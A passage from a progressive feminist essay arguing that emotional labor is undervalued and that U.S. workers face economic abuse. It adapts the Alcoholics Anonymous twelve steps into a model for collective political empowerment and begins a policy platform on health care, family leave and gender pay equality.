However, we shared society’s devaluation of the knowledge and wisdom learned from sustaining vulnerable lives, maintaining the conditions for life, and performing emotional labor, i.e., caring for people. Those powerful, life-affirming areas of knowledge were unspecified, unexplored, and largely devalued then, as they are today.
Emotional Labor: Undervalued and Undercompensated
The concept of emotional labor got its first mention in 1983 in Arlie Hochschild’s book, The Managed Heart. Even though it is crucial to the survival of infants and a basic component of humanity, it is still scarcely mentioned, much less explored outside of Hochschild’s work, my work, and the work of Pam Smith and her group from the UK, who explore emotional labor in the field of nursing. Smith is joined by Catherine Theodosius in the U.K., working in nursing. Their books are unavailable in the United States.
Emotional labor is the act of expressing sensitivity to another person’s needs and trying, in a given moment or situation or over time, to respond to those needs. It’s one of the primary ways that we express love and concern for a parent, child, lover, spouse, friend, or co-worker. On the street, emotional labor is the polite assistance we give to a stranger who’s seeking directions. Even though all human beings are often called upon to “be sensitive,” emotional labor has traditionally been associated with femininity and expected of women in their presumably “natural” roles as mothers, wives, keepers of the home, nurses, and caregivers. Historically, emotional labor was hardly conceived of or noticed, much less valued, because it was considered “women’s work.”
So what does emotional labor in action look like?
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A perceptive parent senses, in one instance, that her/his infant needs to be held, rocked, and cooed to; or, in another instance, the parent senses that the baby is over-stimulated and just needs to be held quietly, without interaction. Emotional labor can entail responding to a friend’s needs in an indirect way so that the person in need doesn’t feel like a burden. Here’s a challenging situation: A man comes home from work angry and upset but is trying to conceal his feelings. His partner senses that something is wrong and quickly comes up with a strategy for soothing him. He/she asks the children to give them some time alone so they can discuss each other’s day. Or he/she suggests that they take a walk together, or says “I’m so glad you’re here because I desperately need your advice about something” — which distracts the upset person and suddenly reminds him that, at home if nowhere else, he’s important and appreciated.
Like other kinds of work, emotional labor can be time-consuming, tiring, and even exhausting. Because we are social beings who need each other to survive and thrive, emotional labor is indispensable to sustaining the family life, social life, and public life of humans. Emotional labor must not be regarded, and thus devalued, as “women’s work.” Concern for other people, whether for the stranger who needs directions or for one’s family members, friends, and co-workers, is a necessary and admirable quality in all humans, regardless of gender.
People whose work is focused on emotional labor, such as U.S. day care workers, have some of the twenty-five worst-paid jobs in the United States. The worst-paid professions are social work, early childhood education, and nursing — largely female professions that provide emotional care for people, as well as assistance with other vital needs.
In the twenty-first century, people are beginning to realize there’s no excuse for two parents not to receive paid leave and paid “personal time,” or for day care workers trained to care for infants and toddlers not to command respect for their professional skills and be compensated fairly, or for our elected officials not to respond to U.S. parents’ desperate need for subsidized or free child care, preferably offered on-site in workplaces. But demands for emotional labor to be acknowledged as legitimate labor and properly compensated as such were not central to the Women’s Liberation Movement back in 1968, which focused more on equal pay within labor sectors historically dominated by men.
Because our traditional work was largely devalued, most of us back then did not understand its social impact and import. We therefore did not celebrate the areas in which women have had valuable unrecognized skill and wisdom. When women entered the workplace, we did not demand remuneration for our expertise in emotional labor and maintaining basic needs of life. We neither knew the value of our traditional work nor gave men an incentive to share women’s emotional or domestic labor. We did not teach men or ourselves the value of learning how to relate intimately and emotionally, or how to nurture children’s lives, or ours, or their own.
What Happened to Change U.S. Gender Roles?
U.S. feminists’ ideological shift away from concerns with class justice and failure to fight for the valuation of emotional labor were not the only reasons why the movement lost its vitality; drastic changes in the U.S. economy were also a contributing factor insofar as they transformed gender roles and the lived experience of women during the last three decades of the twentieth century.
The most dramatic economic change came when, in 1970, real wages flattened. They never recovered, a fact developed and documented by Richard D. Wolff in Capitalism Hits the Fan. Ever more sophisticated computer and international telecommunication systems enabled millions of jobs to be outsourced. Our weak union movement was used to cooperating with the Democratic Party to get a share of the profits their workers generated. They did not prevent outsourcing, unlike their militant socialist and communist European brothers and sisters, who succeeded in doing so. Our two-party system had no socialist or communist alternatives to militantly fight for basic job security for the mass of Americans. U.S. white men lost their job security and a good deal of the male hegemony that used to accompany their family wages and steady jobs.
Women, particularly mothers, entered the job force en masse in order to sustain their families and expand their lives. In 1970, fewer than 40 percent of U.S. mothers were in the labor force. U.S. women then worked mainly part-time. By 2008, fully 75 percent of U.S. mothers were in the labor force, mainly full-time.
In 2008, the current recession struck deep and hard. It hit men’s jobs hardest. Fully 75 percent of the jobs lost are jobs in predominantly male fields like construction, heavy machinery, finance, and aggressive, big-ticket sales, according to an April 3, 2009, Wall Street Journal article by Rex Nutting. Traits stereotypically associated with men, such as physical strength and aggression, are far less welcome in our changing labor force and in personal relationships as well. According to the Center for American Progress’s “Shriver Report,” only two of the fifteen most rapidly growing U.S. jobs are traditionally male jobs: janitor and computer engineer. All the rest of the growth is in jobs traditionally held by women — jobs in health care, child care, and food services. Nurturance and the ability to cooperate and connect socially are qualities associated with women and are required in America’s new service economy.
U.S. women adjusted to our changed role in the marketplace. Women now occupy half of the nation’s jobs, as well as most of the nation’s seats in higher education, according to “The End of Men” a 2010 article by Hanna Rosin in the Atlantic. Women also hold most of the nation’s managerial positions, according to the Bureau of Labor Statistics.
Unfortunately, women’s changed roles have not been matched by men’s participation in child care or home maintenance. The average unemployed man currently does less housework than his fully employed wife (a reality explored at more length by Stephen Resnick, Richard Wolff, and me in our chapter in Class Struggle on the Home Front). In addition, many men seek additional domestic and emotional services to compensate them for the emotional impact of losing their manly provider roles.
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Women are working harder than ever and are no longer willing to do an overwhelming share of the domestic and emotional labor to sustain homes, children, and men. Women have responded to men’s financial incapacity, lack of emotional work, and refusal to share equally in housework and child care. It is now women who initiate most U.S. divorces. It is women who increasingly refuse to marry.
The United States has the highest divorce rate in the world. We also have the weakest family supports among wealthy industrial nations. Women can no longer stand the extra work in caring for men who cannot support them and do not substantially lighten women’s quadruple shifts in domestic labor, emotional labor, child care, and jobs outside the home. The state does not step in as it does in Europe. As I discussed in “American Depressions,” an article in the January/February 2010 issue of Tikkun, in the United States there are no massive quality subsidized day care centers, after-school programs, and child or elder care allowances. This work is still done primarily by individual women.
At the present moment, women are still paid only 75 to 77 percent of what men earn. We still suffer from gender issues such as extensive sexual harassment and rape. However, the collapse of the stable family; our society’s failure to support family life through basics like free quality child care, elder care, or health care; and the decimation of particularly male jobs combine to create an urgent need to define a feminist agenda that addresses not only wage equality and traditional gender issues, but also the broader social and economic conditions of our lives.
We are facing a huge capitalist recession. The United States is divided and largely passive as our jobs and homes are lost. In 1970 America was the most egalitarian nation in the Western industrialized world. Now we are the least egalitarian nation. We urgently need a unified movement to save a decent standard of living for all Americans. We need a movement that appeals to both men and women together and also inspires major transformation of male and female relationships. We need unity as a class-conscious nation aware that we who are in the middle and at the bottom must unite to save our quality of life.
When I sat down to write a feminist platform, I realized that a new feminist platform would need to incorporate the profound knowledge learned from sustaining life and nurturing people. It would need to extend to people of all gender identities and sexual orientations. It is for that reason that an intergenerational group of women created the following platform. It is a program for the pursuit of happiness, which is a forgotten part of the U.S. Declaration of Independence.
A Program for the Pursuit of Happiness
The founding documents of the United States of America contain several inspired and inspiring phrases, none more so than “the pursuit of happiness” in the Declaration of Independence, which promises every citizen the right to seek fulfillment of their personal life’s dream. The “pursuit of happiness” — accompanied by other principles in our Constitution such as equality before the law and freedom of speech — forms the centerpiece of the traditional, nearly official narrative that paints our republic as the grandest nation on earth. Ours is a New World nation, the narrative goes, in which all are free to live where and as they choose, speak and worship as they choose, associate with whom they choose, and do the work of their choice. Moreover, we are all “created equal” to enjoy these freedoms, which were unknown in the socially, politically, and religiously stratified kingdoms of the Old World across the sea.
The founding of the United States was a major moment in the evolution of humanity, inspired, as the French Revolution of 1789 was, by the ideals and concepts of the Enlightenment. However, as we know from life experience the ideal and the real are rarely aligned. So has it been with the birth and historical trajectory of our complex New World nation.
From the very beginning, class and caste, poverty alongside wealth, injustice amid justice, and the bondage of some — even amid general freedom — have prevailed. The European settlers slaughtered most of North America’s Native peoples, seized their lands and, from the late 1600s through six-and-a-half decades of the 1800s, imported an estimated 15 million to 25 million Africans to live and die as slave laborers. When George Washington was elected president, only 6 percent of the total population — a small minority of white, propertied men — could vote into office the president and congressmen who would formulate and establish the laws of the land. Native people, women, white men without property, and Africans were prohibited from voting and thus had no say in our government. In 1870, passage of the Fifteenth Amendment ostensibly enfranchised the emancipated black male population, but poll taxes, literacy requirements, and violent intimidation kept most freedmen away from the polls. Fifty years elapsed before all women were enfranchised (in 1920), and not until 1965 was the Voting Rights Act passed, granting all adults the legal right to vote and barring discriminatory restrictions on that right. Yet even today, voter suppression tactics target various groups.
And today, something new has been added: the huge and insidious influence of lobbyists, who, bearing gifts for politicians’ election campaign coffers, subvert elected officials’ duty to serve the people’s will, driving them instead to help members of the nation’s powerful elite to increase their fortunes. Billion-dollar corporations fund candidates’ campaigns and are paid back after elections in laws and policies that enable their capture of more money. Which adds up to this: overtly and covertly, interference with the people’s right to be honestly represented by elected officials whose work bears directly on our quality-of-life prospects thwarts our “pursuit of happiness.”
Education is another area in which the real and ideal have diverged in our nation. In the colonial era, belief in the government’s obligation to fund schooling ran deep among the European settlers, as a matter of democratic principle. Therefore, in 1866, after the Civil War and the end of slavery, the Reconstruction Congress established a nationwide system of free, compulsory elementary and secondary education. When several states, including virtually the entire South, ignored that mandate, a federal Department of Education was created in 1867 to spur compliance. The following year saw the founding of the nation’s first public institution of higher education: the University of California in Berkeley.
By the turn of the twentieth century, as European immigrants poured through Ellis Island, public education had taken such root that a school principal, Julia Richmond, was inspired to create the nation’s first bilingual instruction program — Yiddish to English — to help speed assimilation of the immigrant children settling on New York’s Lower East Side. And by mid century, the pioneering state university systems of California and New York had been replicated in almost every state of the union, attracting admiration from the entire developed world.
Today? Steadily, Americans’ access to free, high-quality public education is evaporating. As our political system deteriorates, becoming less democratic, more corrupt, and generally dysfunctional; as extreme income disparity and rising poverty destabilize our society; as worldwide surveys of education place the United States embarrassingly low in their rankings at the same time that the life prospects of poor, middle-class, and working-class young people depend more than ever on high-quality public schools; as these problems mount, how is government responding? Instead of budgeting the refurbishment and upgrading of public grade schools, government is slashing budgets and even dismantling some schools! Numerous politicians, cheered on by Education Secretary Arne Duncan, are promoting privatization, such as charter schools (modeled after businesses), and extensive standardized testing as the prescriptions for “reform.” Moreover, today, while 80 percent of U.S. college students attend public institutions, the resources of those schools are being sliced to the bone.
The late nineteenth century through the early twentieth century was also the period when thousands of European immigrant men, women, and children labored in the factories of a raging industrial revolution under hazardous and abusive conditions. At the same time, Chinese immigrants were building our cross-country railroad system, sometimes being blown to bits by the dynamite used to tunnel through the Rocky Mountains, while coal and copper miners plied perhaps the most death-plagued trade of all. Determined to achieve safe, fair working conditions and recognition of their human dignity on the job, male and female workers fought difficult struggles to organize themselves into unions — which were the most effective means by which they could confront business owners and managers. Even in the Deep South, white and black farm workers joined forces in clandestine, union-building meetings. Whites who participated risked being beaten and ostracized; blacks risked being lynched.
The people who agitated and died bringing justice to the workplace gave our whole society quality-of-life improvements such as collective bargaining rights for private and public employees, higher wages, the eight-hour day, sick time, workers’ compensation, unemployment insurance, pensions, Social Security and Medicare, and the overall empowerment of U.S. working people on every level. Union strength peaked in the 1950s, when 35 percent of U.S. workers carried union cards. Sadly, during the same decade McCarthyism struck: the extreme right-wing purges orchestrated by Republican Senator Joseph R. McCarthy of Wisconsin drove out most of trade unionism’s most talented and committed leaders, leaving a malaise from which the movement has yet to recover.
Today, only 12 percent of public sector workers remain unionized, as do a mere 7 percent in the private sector. The situation is worsened by the failure of unions to organize new worker populations. Add the transnational corporations’ unchecked outsourcing of jobs to low-wage countries in the global economy, along with their co-option and corruption of some union executives, and we’re left with a seriously disempowered working class. Consequently, all of the gains won by the sweat, blood, and courage of our forbearers — Social Security, Medicare, even trade unionism per se — are under fierce attack by those who would turn the clock back to a time when the majority of Americans had few rights the super-rich at the top of society were bound to respect.
Faced today with a greatly diminished ability to secure the wages and benefits necessary for the attainment of a decent life, hardworking Americans find enormous boulders blocking the road to happiness and fulfillment of their legitimate aspirations.
We, the People, Are the Solution
The narrative of U.S. exceptionalism is very powerful. Most of us have internalized that narrative to one extent or another, even those of us whose ancestors experienced slavery, immigrant discrimination (yesterday or today), or other challenging aspects of life in the United States. The harsh realities confronting us today — widespread joblessness; home foreclosures; outrageously wasteful spending on wars; and misguided under-spending on education, libraries, and social services — such realities, when held up to the light of our national narrative, can be disorienting. We might ask ourselves: Could these awful things really be happening in “the world’s greatest nation”? And happening to me? Self-doubt, desperation, and hopelessness may kick in. Many of us may ask, “What’s wrong with me that I’ve lost my job and could lose my home and my whole lifestyle?” In the face of unexpected problems and sudden hardship, it’s difficult for anyone — whatever their country of residence — to immediately summon the presence of mind to step back, look at the big picture, and prepare a response. For Americans it may be even harder, given the potency of our national mythology.
The fact is, however, that the big picture is worth a hard look because it reveals a lot. Something fundamental changed in the United States, beginning in about 1970. From as far back as 1820 up until 1970, every generation of U.S. white male workers saw their wages increase. It was a given that children would make more money and have a better life than their parents. Even during the Great Depression of the 1930s, rising prices still lagged behind the continued climb in most white male wages, which meant that the profits generated by labor were still sufficient to sustain a steady rise in the living standards of the employed. For 150 years, mainly white male Americans experienced a reality in which individual effort, combined with training (often on-the-job) and steady work, could improve their lives significantly.
Then, in about 1970, that steady rise in living standards ended abruptly. Wages flattened out. Advanced communications technology enabled transnational corporations to bypass homeland labor for overseas, low-wage workforces. As a result, corporate profits skyrocketed, followed by an explosion of unprecedented executive salaries and bonuses. Wealth in the billions has been piling up at the top of our society ever since, as working people and the middle class lose ground. Indeed, the United States, once the developed world’s most egalitarian nation, is today its least egalitarian.
These circumstances have caused a marked change in people’s lives. Credit card debt is a fixture on the landscape. And social withdrawal has become the norm: participation in activities such as sharing dinner with friends, joining bowling leagues, engaging in civic work like Red Cross blood drives and PTAs, or engaging with grassroots politics and social issues has fallen off sharply.
At a time when we, the people, need to join together and make our collective power felt by those forces that have tightened the screws on us, some of us are expressing our outrage and taking action, but millions more of us are feeling so ignored, alone, helpless, confused, and fearful that we are de-energized, as if the wind has gone out of our sails. Stunned that our dream of steady jobs, comfortable homes, and bright futures for our children are dissolving into dust, we’re retreating into the privacy of our troubled thoughts. Great numbers of us are standing at the edge of an abyss of self-negation and inertia and finding it hard to step back from that abyss.
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Overcoming Passivity, Denial, and Abuse
As you read this, thousands of public workers are battling government efforts to revoke their collective bargaining rights, lower their wages, and hollow out their hard-earned pension accounts. Apart from the obvious noteworthiness of these workers’ determination to prevail and the support they’ve attracted from around the country and around the world, their actions mark the first mass response to the injustices visited upon Americans by the global financial crisis and its recessionary fallout — which were caused not by us, the middle- and working-class people of the United States, but by obscenely rich bankers and brokers playing fraudulent games on Wall Street. Many months ago, France’s six trade union federations put 3.5 million strikers in the streets under the slogan, “Do not permit governments to make the mass of people pay for the failures of capitalism.” Greeks, Germans, and other Europeans turned out in huge numbers to challenge their governments’ policies of indulgence for the rich and belt-tightening for the majority of people. At the time, one could only wonder why there was hardly a peep coming from Americans.
Indeed, by comparison to our counterparts abroad — and notwithstanding the admirable resistance that’s finally rearing its head in various parts of our nation — U.S. working people have responded to these hard times in ways that are largely personal. Or, to put it another way, we have reacted in primarily individualistic, rather than collective, ways. Some prior experiences of success with the personal approach may account, in part, for that tendency. But we think this response may also reflect the influence of our national mythology, which champions “rugged individualism” and “taking personal responsibility” as the most appropriate reactions to adverse circumstances (even when the adversity has been caused far less — or not at all — by our personal failings than by the interplay of economic, class, and political forces in our society). Also in the mix is the mental deflation and emotional anxiety brought on by the rug of dreams and economic security having been yanked out from under us.
Here’s an example of the “personal” or “individualistic” response: beginning roughly in 1970, millions of couples with children caucused in the privacy of their homes and decided the wives should join the labor force for the long haul — unlike in the past, when wives sought jobs temporarily in response to divorce or a husband’s sudden unemployment, disability, or death. Today, the vast majority of U.S. women work outside the home permanently to supplement their partners’ depressed wages. This strategy has helped families, but it has also incurred new costs: the obvious costs of work clothes and transportation, the cost of domestic help to take on some of the tasks previously handled by Mom, as well as the costs of day care and/or afterschool programs, which can be hugely expensive. Then there’s takeout food and restaurant dining, which cost a lot more than the home-cooked meals that are so much harder to prepare with both parents working. And of course, getting the laundry washed is more expensive when it has to be dropped off at a laundromat, and mending costs more if done by a commercial tailor instead of at home.
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The great post-1970 societal shift triggered some family and social relationship costs, as well:
A majority of women complain that they must work a “second shift” at home after the first shift at their outside jobs. As a result, millions of working women are both exhausted and resentful that their male partners are failing to assist with domestic chores. Many men, feeling deflated by the loss of status that society attached to their previous role of exclusive breadwinner, often make even more, rather than fewer, demands on the women in their families. (The perception of domestic work as the “natural” province of women, and wage-discrimination against women, persist and must continue to be challenged.)
Marriage, under heavy pressure, is crumbling. Today, a majority of U.S. women are single, 65 percent of divorces are initiated by women, and the U.S. divorce rate is the highest in the world. At the same time, our marriage rate is the highest, as both men and women seek, in committed relationships, solace from the depressive psychological and emotional effects of vanishing economic security.
In response to the current recession, U.S. working people and the dwindling middle class use their leisure time quite differently than in the past. As mentioned earlier, social withdrawal has become the norm. Overeating has soared, causing one out of three adults to be obese. The number of hours spent watching television has climbed: the average U.S. man watches seven hours of TV a day; the average woman, four to five hours.
Americans have turned to drugs — legal and illegal — to ease their psychic pain. The United States, where 5 percent of the world’s population resides, consumes 66 percent of the world’s supply of psycho-pharmaceutical drugs. In general, these expensive products (the economy’s bestsellers) are minimally effective, and the positive effects experienced by 25 percent of the medicated population disappear if they stop taking the drugs. As one might expect, difficult economic conditions correlate with depression, precarious mental health, overeating, drug dependency, and excessive TV-watching.
These changes in social behavior and mental health suggest that the U.S. population suffers from the abuse syndrome. Here’s what we mean: abusers lie, make false promises, threaten abandonment, and demand — and yet betray — trust, breaking down the victims’ resolve to push back. Unable to face how humiliated and powerless they have become, victims often can’t bring themselves to admit that the people they trusted don’t really give a damn about them.
So consider this: employers and governments can also be adept at abusing the people they should respect, care about, and treat fairly. Examples:
A corporation, instead of giving a worker prior notice of dismissal, fires employees on the spot and gives them only minutes to collect their possessions; then a security guard escorts them out, as former co-workers watch.
A for-profit “career school” rips off young people by falsely claiming (in ubiquitous subway, bus, and TV ads) that its training courses give nearly all of its graduates access to available, high-paying jobs. More often than not, the young folks who drink the Kool-Aid end up deeply in debt with useless certificates.
A low-income family signs up for a city’s subsidized housing program and waits for a year before learning that the city shut the program down without notifying its thousands of applicants.
A private health insurance company refuses to cover the cost of a kidney transplant, resulting in the patient’s most likely preventable death.
A wholesale sports gear company pays reasonable salaries to its staff of sneaker designers, but doesn’t pay for the overtime hours the sneaker staff has to work almost daily.
Deceitful mortgage lenders lure homebuyers into adjustable-rate contracts the buyers can barely afford and can’t sustain, disappear the mortgages into a labyrinth of derivative sales, and pocket millions while the clients eventually lose their homes to foreclosure.
We could go on. The point is these are all cases of abuse that leave real scars on those seeking to put together viable lives in the nation they call home. And just as the victims of domestic and sexual abuse often know they should walk away but can’t, millions of American victims of employer, governmental, and institutional abuse know they should join with others, fight back, and demand their rights. The problem is we can feel so beaten down, tired, and fearful that we find it nearly impossible to take that step.
What must we do to stop being passive and become active, to overcome denial and face reality, to refuse abuse, resist, and fight back? What must we do to make of ourselves a force so powerful that we cannot be ignored?
[pgbreak]
An Environment for Political Growth and Empowerment
I discovered through some research that in this time of social withdrawal, tension, and emotional strain, twelve-step programs are attracting more and more participants. In cities and towns across the country, the most famous, original twelve-step program, Alcoholics Anonymous, has created a place for numerous offspring: Narcotics Anonymous, Overeaters Anonymous, and others, including the newest and most important development, which is Adult Children of Alcoholic and Dysfunctional Families. Anonymous twelve-step programs like these are drawing millions of Americans who had previously resorted to self-medication with alcohol, drugs, and/or food — efforts, people have discovered, that were making their problems worse. Instead, by joining others in small, admission-free twelve-step groups, people are able to share and examine their pain and suffering with a supportive, nonjudgmental collective. Participants choose one or more of their peers to lead the group, and each person selects a “sponsor” who helps him or her stay with the program. The twelve-step Adult Children/Alcoholic and Dysfunctional Families program works with all people who are traumatized by their families, which means practically everyone. Why does the twelve-step model work?
1) It enables members to acknowledge that they have a problem — thus, the well-known line, “My name is X and I am an alcoholic.”
2) It elicits from members the admission that they haven’t been able to solve their problems alone. Having realized that they need a group’s assistance, they quickly discover that however much they may have felt alone, they are not alone. Their concerns and problems are not unique.
3) The twelve-step model recognizes and incorporates the importance of family. The group functions as a second family that members can rely on for understanding and nonjudgmental support. This is especially important for people whose relations with their biological relatives have had an abusive or otherwise destructive dynamic, or who live far away from their families and can’t easily be in touch with them.
4) Members listen to, validate, and honor one another’s personal stories, which enables the whole group to “own” the wisdom, insight, and thoughtfulness that energize its discussions and engender solidarity.
Given the popularity of twelve-step programs, I began thinking… why not adapt this model to help people overcome the passivity and denial brought on by these tough times, so they can participate in and contribute to building a project of political development and empowerment?
Americans’ attraction to twelve-step programs indicates that millions of us yearn to connect with others and share our experiences of anxiety, anger, and uncertainty, which mark this era of crisis. Wouldn’t the holistic environment of a twelve-step program — in which an individual is listened to, supported, comforted, and encouraged — be empowering and conducive to raising her/his political consciousness? A popular axiom of the 1960s was “the personal is political,” and that’s true for all seasons. Why not connect and trace, together, the origin of the multiple threats to our common pursuit of happiness? Constructing, with friends and neighbors, ways to repel those threats sounds to us like time better spent than struggling in isolation.
To illustrate our adaptation process, I checked out The Little Red Book, a popular piece of recovery literature designed for Alcoholics Anonymous. I borrowed its format but changed the content of its twelve steps to reflect the chosen goal of political growth and empowerment. Below, I present each Alcoholics Anonymous step from The Little Red Book alongside our alternative step:
Step One
Alcoholics Anonymous (AA): We admitted that we were powerless over alcohol– that our lives had become unmanageable.
Our Alternative: We understand that one person cannot alone solve the chronic societal problems that are making our public and private lives very difficult to manage.
Step Two
AA: We came to believe that only a power greater than ourselves could restore us to sanity.
Alternative: We have come to believe that only a collective, which is a power greater than our individual selves, can help move our nation forward to a healthier, more just and democratic place.
Step Three
AA: We made the decision to turn our will and our lives over to the care of God as we understood him.
Alternative: We decided to commit some of our time, energy, will, and belief in the future to work with each other for change.
Step Four
AA: We made a searching and fearless moral inventory of ourselves.
Alternative: We took a serious and thorough moral measure of ourselves, noting the ways we collude with societal forces in our own exploitation, and noting our embrace of practices and beliefs about ourselves and others that make us vulnerable to being manipulated and exploited. This is an important step: we need to be aware that we are not just victims, we are also collaborators. We are not helpless, we can also act… for better or worse. What we need to do now is unite around basic principles and create programs to achieve goals for the benefit of all.
[pgbreak]
Step Five
AA: We admitted to God and to ourselves and to other human beings the nature of our wrongs.
Alternative: We have admitted to ourselves, and out loud to others, the ways we have collaborated in our own victimization.
Step Six
AA: We are ready to have God remove all these defects of character.
Alternative: We are working to move beyond certain dysfunctional behaviors by taking action to better our own and others’ lives. Some members of our collective also take support from their religious or spiritual beliefs, as a private matter. Everyone’s contributions enrich our group’s development and efforts. All of us join in the spirit of hope and connection that the group shares.
Step Seven
AA: We humbly ask Him to remove our shortcomings.
Alternative: We ask for, and are ready to give, the much-needed support that will help us unlearn collusion and internalize the new knowledge and wisdom that comes to us through our efforts, and which is so necessary for our growth. We also ask for, and will give, support to help us rebound from the disappointments likely to occur among our triumphs.
Step Eight
AA: We will make a list of all persons we have harmed and become willing to make amends to them all.
Alternative: We will draw up a list of all persons we have harmed and make amends directly to them wherever possible, except if to do so would injure them or others. We continue to take a moral measure of ourselves, and when we are wrong we admit it.
Step Nine
AA: We make direct amends to such people wherever possible, except when to do so would injure them or others.
Alternative: We’re studying to fill the gaps in our knowledge of U.S. history so as to better grasp both the similar and different realities lived by the diverse peoples who’ve populated our nation from the very beginning. We’re studying the systemic arrangements: economic, political, social; the terrains of class and color, poverty and wealth, privilege and persecution, the marvelous and shameful, the horrible and the beautiful. We do this to inform our thoughts about the dignity of life as we create change and build the future.
Step Ten
AA: We continue to take personal inventory and when we are wrong, we promptly admit it.
Alternative: We work to promote fair and just domestic policies that support Americans’ efforts to live healthy and productive lives, and to demand their implementation by our federal, state, and local governments. We also work to promote and demand humane and nonexploitative foreign policies that encourage peaceful relations among nations and the well-being of all humanity and planet Earth.
Step Eleven
AA: We seek through prayer and meditation to improve our conscious contact with God as we understand him, praying only for knowledge of His will for us and the power to carry that out.
Alternative: We seek — through experience, study, meditation, imagination, discussion, and listening to each other — greater understanding, knowledge, and consciousness of the human condition and all life, the better to connect with others in developing a well-functioning, life-affirming, hopeful, democratic society.
Step Twelve
AA: Having had a spiritual awakening as a result of these steps, we try to carry this message to alcoholics and to practice these principles in all our affairs.
Alternative: Having come to realize, by taking these twelve steps, that certain structural characteristics of U.S. society hinder Americans’ pursuit of happiness, and having also realized the ways in which some of our own actions reinforce those hindrances, we have experienced an invigorating moral, ethical, and political awakening. Feeling the changes within ourselves, we are motivated to reach out and engage sympathetically and supportively with whomever we can. We ask each other here to do the same. Our collective plants hope and cultivates action. Our collective is powerful. We will reap a sustainable future.
Prioritizing the Pursuit of Happiness
Variations of the policies I propose below on health care, the workplace, support for families, and education have been in effect for years in France, Belgium, Germany, the United Kingdom, Switzerland, the Netherlands, Scandinavia (Norway, Sweden, and Denmark), South Africa, Australia, Japan, and Spain, of the developed countries. Many of the developing nations, and even some of the poorest ones, also have these policies. Understandably, you may ask where the money would come from to fund the services we believe our government should provide. According to the National Priorities Project, the U.S. government has spent at least $815 billion of our tax money since fiscal year 2003 destroying the nation of Iraq. For that amount the government could have provided:
Health care for 417.7 million low-income children for one year or
12.5 million elementary school teachers for one year or
14.3 million firefighters for one year or
107.2 million Head Start slots for children for one year or
Renewable electricity — solar photovoltaic — for 184.6 million households for one year or
Renewable electricity — wind power — for 492.1 million households for one year or
VA medical care for 104.5 million military veterans for one year or
Health care for 167.6 million low-income adults for one year or
12.3 million police or sheriff’s patrol officers for one year or
103.4 million scholarships for university students for one year or
146.8 million Pell Grants of $5,550 for college and university students.
Nobel Prize–winning economist Joseph Stiglitz estimates that we spend approximately $16 billion in Afghanistan in just one month; this is roughly equivalent to the amount it would cost to employ 262,500 teachers, provide 1,995,000 children with day care, and cover the annual health care costs for 5 million people. When elected officials tell us our nation is bankrupt, we should tell them to bring our dollars home. (For more information about the costs of war and the “bring our dollars home” campaign, go to www.nationalpriorities.org .)
If the government taxed corporations and the wealthiest individuals more, it could maintain high spending without having to incur huge deficits. One recent calculation showed that if corporations and individuals earning over $1,000,000 per year paid the same rate of taxes today as they paid in 1961, the U.S. Treasury would collect an addition $716 billion per year. That would cut the 2011 deficit by half and likewise cut the associated interest costs. Second, consider who lends to the U.S. government. Major creditors include the People’s Republic of China, Japan, and large corporations and wealthy individuals in the United States and abroad. The greater our deficits, the more of everyone’s taxes go to pay interest to those creditors. Third, consider the basic injustice of deficits: Washington taxes corporations and the rich far less than it used to in, say, the 1960s; Washington therefore runs a deficit; and the U.S. Treasury then borrows from corporations and the rich the money that the government allowed them not to pay in taxes.
In the 1960s the wealthiest Americans were required to pay 91 percent of their income in income taxes. That amount was agreed upon by Democratic presidents like Truman and Republicans like General Eisenhower. We had prosperity and were the most equal society in the Western industrialized world. This year, according to the IRS, the richest individuals will pay 16.67 percent in income taxes. In addition many of our richest corporations, such as GE and Bank of America, will pay no taxes. That could be corrected. If we returned to our 1960 corporate tax level and cracked down on the tax cheating of the wealthiest Americans we could easily pay for the programs above. The United States levies taxes on property in cars and homes. If we extended those taxes to what they call intangible property in stocks, bonds, hedge fund investments, etc., we would enjoy equality of opportunity.
A Platform for Retrieving the American Dream
1. Universal Single-Payer Health Care: We agree with the majority of humanity and most governments, that health care is a human right, not a privilege of the affluent. Thus, we regard the profit-based “managed care” system brought to us by the Clinton administration (and continued in the plan initiated by the Obama administration) as inherently discriminatory as well as irrational, in that its structural dependence on the private delivery of care disallows cost-efficiency. It is widely known that we spend more than any nation on care that falls short of being universal in its coverage and is very uneven in quality. It’s urgent that we convert to a practical, public model that can provide high-quality care for all. The advent of universal, high-quality health care would remove a huge burden of anxiety and economic insecurity from American shoulders.
2. Maternity and Paternity Leave: In the developed world, paid maternity and paternity leave is the third- or fourth-generation leave granted by both public sector and private workplaces for the birth of a child. In Norway, paternity leave is mandatory, to prevent employers from offering fathers a salary bonus as an incentive for them to forego their leave, the point being to encourage father-child bonding. It is time for the United States to follow suit.
3. Paid Leave for Family Care: We favor the provision of paid leave to workers to care for a sick child or other relative. The Scandinavian version ranges from thirty days to eighteen months. This saves people from having to choose between attending to emergency family needs and losing their jobs.
4. Paid Vacation Time and Paid Personal Time: By law in France, both public and private employers must grant their workers five weeks of paid vacation leave. Paid personal time is also a feature of some workplaces in several developed nations. We favor establishment of both requirements in the United States.
5. Single-Mother Subsidies: 40 percent of U.S. children are born outside of marriage, and single mothers and their children are the poorest of all Americans. To meet basic human needs — food, housing, health, and education — government assistance should be available for these families.
6. Recognition of Emotional Labor with Appropriate Compensation: The time is overdue for our society to acknowledge the value and indispensability of emotional labor, which is the active expression of sensitivity to another person’s needs and the effort, in a given moment or over time, to respond to those needs. Traditionally, emotional labor (for example, early childhood care, infant/toddler day care, social work, guidance counseling in schools, addiction counseling, executive assistance/secretarial, nursing, hospital attendance (by orderlies), and physical therapy) has been presumptively “women’s work.” As a result it is hardly noticed, even less valued, and low-paid. In the twenty-first century, emotional labor professionals deserve recognition, respect, and higher pay for the essential services they provide.
7. Gender Equality in Workplaces and Households: In the United States, mothers are disproportionately the targets of discrimination against women. Our mothers currently earn 73 percent of what American males earn, whether or not the males are fathers, while childless women earn 98 percent of what men earn. Indeed, having a child in the United States is a predictor of poverty. In no other wealthy nation are mothers as underprivileged in comparison to childless women or as flat-out poor as American mothers. Privileged upper-middle- and upper-class mothers avoid the worst of gender bias by having the funds to leave their children in the care of other women — most frequently poorly paid immigrants — and to supervise their children’s care without directly providing it. Given society’s stake in having both mothers and fathers as available as possible to deliver a new generation of well-raised, hopeful people, public programs supportive of mothers and gender equality in wages are both sorely needed.
[pgbreak]
